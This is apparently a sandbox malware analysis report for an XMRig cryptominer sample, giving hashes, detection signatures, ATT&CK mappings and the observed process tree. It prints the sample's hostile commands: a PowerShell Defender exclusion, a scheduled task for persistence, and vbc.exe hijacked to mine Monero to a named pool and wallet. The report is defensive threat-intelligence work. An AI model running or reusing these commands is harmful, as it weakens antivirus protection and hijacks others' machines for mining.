xmrig | f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf

General

Target

f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe
Size

1.3MB
MD5

442068a8271d880244a03d4d290c75fa
SHA1

bc20dc9ca257c6a0573d521e702cbf0369fdd4b3
SHA256

f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf
SHA512

a2a17a6b653087200be8b3ca5cfc80fe4db087c4fc57214090326948622e48fe0afeaea7c63a955099501ed6dec3b87328822e398cced151a7d8fc78e5a25f34
SSDEEP

24576:YmK6Q9qEYTewpekHZySOVhP8BCaff7XFf7aiJRw+UjxF:YmK6OqEYT1pek0VFof7ValxxF

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1044-185-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1044-186-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/1044-187-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1044-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1044-190-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1044-195-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

OWT.exe

pid process

5064 OWT.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

OWT.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation OWT.exe
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Suspicious use of SetThreadContext 1 IoCs

Processes:

OWT.exe

description pid process target process

PID 5064 set thread context of 1044 5064 OWT.exe vbc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4296 5064 WerFault.exe OWT.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4864 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3512 timeout.exe

pid	process
5064	OWT.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	OWT.exe

description	pid	process	target process
PID 5064 set thread context of 1044	5064	OWT.exe	vbc.exe

pid	pid_target	process	target process
4296	5064	WerFault.exe	OWT.exe

pid	process
4864	schtasks.exe

pid	process
3512	timeout.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exepowershell.exeOWT.exepowershell.exe

pid	process
3172	f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe
3172	f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe
632	powershell.exe
632	powershell.exe
5064	OWT.exe
5064	OWT.exe
2228	powershell.exe
2228	powershell.exe
5064	OWT.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

660

pid	process
660

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exepowershell.exeOWT.exepowershell.exevbc.exe

description	pid	process
Token: SeDebugPrivilege	3172	f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe
Token: SeDebugPrivilege	632	powershell.exe
Token: SeDebugPrivilege	5064	OWT.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeLockMemoryPrivilege	1044	vbc.exe
Token: SeLockMemoryPrivilege	1044	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

vbc.exe

pid process

1044 vbc.exe

pid	process
1044	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.execmd.exeOWT.execmd.exe

description	pid	process	target process
PID 3172 wrote to memory of 632	3172	f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe	powershell.exe
PID 3172 wrote to memory of 632	3172	f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe	powershell.exe
PID 3172 wrote to memory of 2592	3172	f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe	cmd.exe
PID 3172 wrote to memory of 2592	3172	f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe	cmd.exe
PID 2592 wrote to memory of 3512	2592	cmd.exe	timeout.exe
PID 2592 wrote to memory of 3512	2592	cmd.exe	timeout.exe
PID 2592 wrote to memory of 5064	2592	cmd.exe	OWT.exe
PID 2592 wrote to memory of 5064	2592	cmd.exe	OWT.exe
PID 5064 wrote to memory of 2228	5064	OWT.exe	powershell.exe
PID 5064 wrote to memory of 2228	5064	OWT.exe	powershell.exe
PID 5064 wrote to memory of 2260	5064	OWT.exe	cmd.exe
PID 5064 wrote to memory of 2260	5064	OWT.exe	cmd.exe
PID 2260 wrote to memory of 4864	2260	cmd.exe	schtasks.exe
PID 2260 wrote to memory of 4864	2260	cmd.exe	schtasks.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe
PID 5064 wrote to memory of 1044	5064	OWT.exe	vbc.exe

C:\Users\Admin\AppData\Local\Temp\f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe
"C:\Users\Admin\AppData\Local\Temp\f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3172

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:632

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp83CB.tmp.bat""
2⤵
- Suspicious use of WriteProcessMemory
PID:2592

C:\Windows\system32\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:3512

C:\ProgramData\winrar\OWT.exe
"C:\ProgramData\winrar\OWT.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2228

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:2260

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
5⤵
- Creates scheduled task(s)
PID:4864

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1044

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5064 -s 1284
4⤵
- Program crash
PID:4296

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 412 -p 5064 -ip 5064
1⤵
PID:4688

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

1

T1064

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\winrar\OWT.exe
Filesize
1.3MB

MD5
442068a8271d880244a03d4d290c75fa

SHA1
bc20dc9ca257c6a0573d521e702cbf0369fdd4b3

SHA256
f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf

SHA512
a2a17a6b653087200be8b3ca5cfc80fe4db087c4fc57214090326948622e48fe0afeaea7c63a955099501ed6dec3b87328822e398cced151a7d8fc78e5a25f34

Download Submit
C:\ProgramData\winrar\OWT.exe
Filesize
1.3MB

MD5
442068a8271d880244a03d4d290c75fa

SHA1
bc20dc9ca257c6a0573d521e702cbf0369fdd4b3

SHA256
f34fab44d1f6f3db482c87cf464a86ed6813805953403425658446990a8a2daf

SHA512
a2a17a6b653087200be8b3ca5cfc80fe4db087c4fc57214090326948622e48fe0afeaea7c63a955099501ed6dec3b87328822e398cced151a7d8fc78e5a25f34

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
731e9e4becec0b1ef9caad4b3562d4b4

SHA1
6dffb77aba4e92ad5bd4b7c02fdee6f328bcd457

SHA256
71c7eca538938fa4d5b470fee41cfe43734e9beb9ae409d5b41111fa1a15c2d5

SHA512
841cf559ae5b0feec4be43018717641399b3602a553112e98b07d498f1a44169924466abc7e2313b8e8cf1c0fdc1bb7635e2818aab8269b0ef349a0ba0cd6ae5

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp83CB.tmp.bat
Filesize
138B

MD5
f3fdc9bd89762fd6edd7600ad2d56388

SHA1
3064e1ef31828ee1cac24daf852f4cfe1812bc25

SHA256
dac4072b1f8157de02905c8f02487ef8bf8cfc0a4292211cf55c586e30e69216

SHA512
74ceeffb1c5681a122c51798cd523749f4c2fc5f36ed92f346806223eabcf1f68aa409fc5af85d3f7f34a6d6e87bde760c3d09c49600fe7a632bab36d4c6d156

Download Submit
memory/632-152-0x00000217FA290000-0x00000217FA2B2000-memory.dmp

Filesize
136KB

Download
memory/632-154-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/632-145-0x0000000000000000-mapping.dmp

Download
memory/632-153-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/1044-199-0x000001A774870000-0x000001A774890000-memory.dmp

Filesize
128KB

Download
memory/1044-186-0x0000000140343234-mapping.dmp

Download
memory/1044-185-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1044-198-0x000001A774840000-0x000001A774860000-memory.dmp

Filesize
128KB

Download
memory/1044-187-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1044-188-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1044-197-0x000001A774870000-0x000001A774890000-memory.dmp

Filesize
128KB

Download
memory/1044-189-0x000001A7747B0000-0x000001A7747D0000-memory.dmp

Filesize
128KB

Download
memory/1044-190-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1044-196-0x000001A774840000-0x000001A774860000-memory.dmp

Filesize
128KB

Download
memory/1044-192-0x000001A774800000-0x000001A774840000-memory.dmp

Filesize
256KB

Download
memory/1044-195-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2228-174-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/2228-169-0x0000000000000000-mapping.dmp

Download
memory/2228-177-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/2260-171-0x0000000000000000-mapping.dmp

Download
memory/2592-146-0x0000000000000000-mapping.dmp

Download
memory/3172-139-0x0000000000570000-0x00000000005B3000-memory.dmp

Filesize
268KB

Download
memory/3172-140-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/3172-149-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/3172-148-0x0000000000570000-0x00000000005B3000-memory.dmp

Filesize
268KB

Download
memory/3172-147-0x0000000000380000-0x000000000053C000-memory.dmp

Filesize
1.7MB

Download
memory/3172-144-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/3172-143-0x00007FFA7B3D0000-0x00007FFA7B51E000-memory.dmp

Filesize
1.3MB

Download
memory/3172-142-0x0000000000380000-0x000000000053C000-memory.dmp

Filesize
1.7MB

Download
memory/3172-141-0x00007FFA96080000-0x00007FFA960AB000-memory.dmp

Filesize
172KB

Download
memory/3172-132-0x0000000000380000-0x000000000053C000-memory.dmp

Filesize
1.7MB

Download
memory/3172-138-0x00007FFA96FE0000-0x00007FFA97181000-memory.dmp

Filesize
1.6MB

Download
memory/3172-137-0x00007FFA7B520000-0x00007FFA7B5DD000-memory.dmp

Filesize
756KB

Download
memory/3172-136-0x00007FFA935D0000-0x00007FFA935E2000-memory.dmp

Filesize
72KB

Download
memory/3172-135-0x00007FFA96970000-0x00007FFA96A0E000-memory.dmp

Filesize
632KB

Download
memory/3172-134-0x00007FFA7B670000-0x00007FFA7B71A000-memory.dmp

Filesize
680KB

Download
memory/3512-151-0x0000000000000000-mapping.dmp

Download
memory/4864-176-0x0000000000000000-mapping.dmp

Download
memory/5064-166-0x00007FFA96080000-0x00007FFA960AB000-memory.dmp

Filesize
172KB

Download
memory/5064-178-0x00007FFA95E90000-0x00007FFA95EB7000-memory.dmp

Filesize
156KB

Download
memory/5064-179-0x00007FFA80C40000-0x00007FFA80C75000-memory.dmp

Filesize
212KB

Download
memory/5064-180-0x00007FFA77080000-0x00007FFA77182000-memory.dmp

Filesize
1.0MB

Download
memory/5064-181-0x00007FFA97600000-0x00007FFA9766B000-memory.dmp

Filesize
428KB

Download
memory/5064-182-0x00007FFA94A80000-0x00007FFA94ABB000-memory.dmp

Filesize
236KB

Download
memory/5064-183-0x0000000000C00000-0x0000000000DBC000-memory.dmp

Filesize
1.7MB

Download
memory/5064-184-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/5064-173-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/5064-172-0x00000000036D0000-0x0000000003713000-memory.dmp

Filesize
268KB

Download
memory/5064-168-0x00007FFA7B3D0000-0x00007FFA7B51E000-memory.dmp

Filesize
1.3MB

Download
memory/5064-167-0x0000000000C00000-0x0000000000DBC000-memory.dmp

Filesize
1.7MB

Download
memory/5064-165-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/5064-164-0x00007FFA96FE0000-0x00007FFA97181000-memory.dmp

Filesize
1.6MB

Download
memory/5064-191-0x00007FFA75B10000-0x00007FFA75C7A000-memory.dmp

Filesize
1.4MB

Download
memory/5064-163-0x00007FFA7B520000-0x00007FFA7B5DD000-memory.dmp

Filesize
756KB

Download
memory/5064-193-0x0000000000C00000-0x0000000000DBC000-memory.dmp

Filesize
1.7MB

Download
memory/5064-194-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/5064-162-0x00007FFA935D0000-0x00007FFA935E2000-memory.dmp

Filesize
72KB

Download
memory/5064-161-0x00007FFA96970000-0x00007FFA96A0E000-memory.dmp

Filesize
632KB

Download
memory/5064-160-0x00007FFA7B670000-0x00007FFA7B71A000-memory.dmp

Filesize
680KB

Download
memory/5064-158-0x0000000000C00000-0x0000000000DBC000-memory.dmp

Filesize
1.7MB

Download
memory/5064-155-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads